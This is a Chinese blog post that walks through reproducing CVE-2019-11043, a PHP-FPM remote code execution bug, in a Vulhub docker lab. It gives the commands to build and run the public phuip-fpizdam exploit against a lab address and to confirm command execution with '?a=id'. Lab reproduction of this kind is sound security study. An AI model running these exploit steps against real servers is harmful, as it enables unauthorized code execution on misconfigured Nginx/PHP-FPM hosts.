PHP-FPM远程代码执行漏洞(CVE-2019-11043)


PHP-FPM远程代码执行漏洞

php-fpm

PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。

漏洞简述

在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。

环境搭建

cd /vulhub/php/CVE-2019-11043
docker-compose up -d

漏洞复现

使用写好的工具

https://github.com/neex/phuip-fpizdam

因为这个用golang写的,所以要先安装go环境然后换源

apt-get install golang -y
go env -w GO111MODULE=on
go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct

下载EXP

git clone https://github.com/neex/phuip-fpizdam   

下载好之后进入目录

cd phuip-fpizdam

编译

go build

image-20220505203729635

使用EXP

go run . "http://192.168.3.151:8080/index.php"

image-20220505203811564

执行成功,可以命令执行

http://192.168.3.151:8080/index.php?a=id

image-20220505203947685

成了!结束!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录